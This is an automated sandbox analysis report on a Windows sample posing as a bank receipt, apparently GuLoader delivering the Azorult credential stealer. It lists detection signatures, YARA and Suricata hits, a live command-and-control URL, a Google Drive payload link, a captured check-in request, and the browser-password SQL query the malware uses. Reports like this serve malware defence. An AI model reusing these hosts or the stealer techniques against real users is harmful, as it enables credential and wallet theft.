Edit tour

Windows Analysis Report
Dekont#400577_89008_96634.exe

Overview

General Information

Sample name:	Dekont#400577_89008_96634.exe
Analysis ID:	1548583
MD5:	1d14f171fd8a6a070150c81abed8b966
SHA1:	605071e065fd88525285c736dcc5f8461a60195c
SHA256:	ffb9748a0ed7684161780e27a733f2ab11071515cc27905767813a32c8c308ff
Tags:	exeuser-lowmal3
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Dekont#400577_89008_96634.exe (PID: 1492 cmdline: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe" MD5: 1D14F171FD8A6A070150C81ABED8B966)

Dekont#400577_89008_96634.exe (PID: 5308 cmdline: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe" MD5: 1D14F171FD8A6A070150C81ABED8B966)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://any.run/cybersecurity-blog/azorult-malware-analysis/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.3291168363.0000000037FC4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
0000000C.00000003.3290459679.0000000037FB8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
0000000C.00000003.3291684607.0000000037FA4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000000.00000002.2845765889.0000000000731000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
0000000C.00000003.3291660703.0000000037F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
0000000C.00000003.3291593606.00000000387F8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.3291614147.00000000387FC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2846544172.0000000003411000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Dekont#400577_89008_96634.exe PID: 1492	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: Dekont#400577_89008_96634.exe PID: 5308	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: Dekont#400577_89008_96634.exe PID: 5308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.3.Dekont#400577_89008_96634.exe.383d8abf.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.3.Dekont#400577_89008_96634.exe.383d8abf.1.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x426524:$string1: SELECT origin_url, username_value, password_value FROM logins 0x4273f9:$string1: SELECT origin_url, username_value, password_value FROM logins 0x296d87:$string2: API call with %s database connection pointer 0x2979bb:$string3: os_win.c:%d: (%lu) %s(%s) - %s
12.3.Dekont#400577_89008_96634.exe.383d4355.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.3.Dekont#400577_89008_96634.exe.383d4355.2.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x42ac8e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x42bb63:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29b4f1:$string2: API call with %s database connection pointer 0x29c125:$string3: os_win.c:%d: (%lu) %s(%s) - %s
12.3.Dekont#400577_89008_96634.exe.383dd227.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.3.Dekont#400577_89008_96634.exe.383dd227.3.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x421dbc:$string1: SELECT origin_url, username_value, password_value FROM logins 0x422c91:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29261f:$string2: API call with %s database connection pointer 0x293253:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 1 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:51:06.842718+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	49780	TCP
2024-11-04T16:51:25.121421+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	59281	TCP
2024-11-04T16:51:26.439634+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	59284	TCP

ET MALWARE AZORult v3.2 Server Response M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:52:37.198806+0100	2029141	1	Malware Command and Control Activity Detected	89.40.31.232	80	192.168.2.6	59474	TCP

ET MALWARE Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:52:43.159915+0100	2016858	1	A Network Trojan was detected	192.168.2.6	59475	89.40.31.232	80	TCP

ET MALWARE Win32/AZORult V3.2 Client Checkin M15

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:52:36.960257+0100	2029465	1	Malware Command and Control Activity Detected	192.168.2.6	59474	89.40.31.232	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:52:36.960257+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.6	59474	89.40.31.232	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T16:52:31.377185+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	59471	216.58.206.78	443	TCP

HTTP traffic detected: POST /12/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 89.40.31.232Content-Length: 115Cache-Control: no-cacheData Raw: 4a 4c 89 28 39 ff 4c 2f fb 39 2f fb 39 4f ed 3f 4e ed 3e 3c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 4c 2f fb 3a 2f fb 39 2f fb 3c 2f fb 3d 2f fb 3a 2f fa 49 2f fb 34 48 ed 3e 3e ed 3e 32 ed 3e 3d ed 3e 3d ed 3e 33 89 28 38 8c 28 39 fa 28 39 ff 28 39 fa 28 39 f8 28 39 f9 28 39 fa 4b 2f fb 39 2f fb 3a Data Ascii: JL(9L/9/9O?N><>3>>>;>>>3>:>=?N(9L/:/9/</=/:/I/4H>>>2>=>=>3(8(9(9(9(9(9(9K/9/:

Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291530613.0000000000090000.00000004.00001000.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.php
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.php$
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.php2
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.phpEr
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.phpeCd
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.phpon_
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/12/index.phpy
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/crosoft
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://89.40.31.232/icate
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: Dekont#400577_89008_96634.exe, 00000000.00000000.2146020007.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Dekont#400577_89008_96634.exe, 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000000.2841136193.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305016653.00000000076D0000.00000004.00001000.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007742000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh$zq
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh3
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh&export=download
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291714571.0000000037F74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291714571.0000000037F74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf4
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3272833109.00000000077C7000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3277704441.00000000077C6000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3274291607.00000000077C6000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3291714571.0000000037F74000.00000004.00001000.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3277086097.00000000077C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291714571.0000000037F74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2b
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007776000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033r
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3272833109.00000000077C7000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3277704441.00000000077C6000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3274291607.00000000077C6000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3277086097.00000000077C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfX
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 59471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59471

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.6:59471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.6:59472 version: TLS 1.2

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_004055B8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004055B8

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.3.Dekont#400577_89008_96634.exe.383d8abf.1.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 12.3.Dekont#400577_89008_96634.exe.383d4355.2.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 12.3.Dekont#400577_89008_96634.exe.383dd227.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034C5

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Windows\resources\0809	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Windows\resources\0809\Episyllogism	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Windows\resources\0809\Episyllogism\med	Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_00407458	0_2_00407458
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_00406C81	0_2_00406C81
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_6FDC1B5F	0_2_6FDC1B5F

Source: api-ms-win-core-file-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
